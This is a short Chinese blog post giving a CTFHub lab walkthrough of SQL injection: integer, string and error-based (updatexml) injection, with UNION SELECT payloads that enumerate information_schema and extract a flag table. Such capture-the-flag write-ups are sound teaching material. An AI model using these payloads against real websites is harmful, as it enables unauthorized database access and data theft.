CTFHUB 技能树 SQL 10

ctfhub_web_SQL注入_全通关详解(持续更新中) - FreeBuf网络安全行业门户

整数注入

  1. 输入1,回显用户
  2. 输入1 order 2 正常
  3. 输入1 order 3 错误,说明字段数为2
  4. 输入-1 union select 1,2
  5. 或者构造链接/?id=-1%20union%20select%201,2%20--+
  6. 输入-1 union select database(),database()
  7. 获得库名
  8. 输入-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema = "sqli"
  9. 获得两个表名
  10. 输入-1 union select database(),group_concat(column_name) from information_schema.columns where table_name = "flag"--
  11. 列名
  12. 输入-1 union select database(),group_concat(flag) from sqli.flag--

字符注入

  1. 输入1 and 1=2不报错,输入1‘报错,判断为字符型注入
  2. 其余部分和数字注入一样
  3. 构造链接
  4. ?id=-1%27+union+select+database%28%29%2Cgroup_concat%28flag%29+from+sqli.flag--+
  5. 输入-1' union select database(),group_concat(flag) from sqli.flag--

报错注入

  1. 输入1 and updatexml(1,(concat(1,database())),2)
  2. 输入
  3. 1 and updatexml(1,(concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli'))),2)
  4. 其他部分一样
  5. 最后输入1 and updatexml(1,(concat(1,(select group_concat(flag) from flag))),2),获得flag
posted @   BUGCATCAPOO  阅读(57)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· DeepSeek 开源周回顾「GitHub 热点速览」
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
点击右上角即可分享
微信分享提示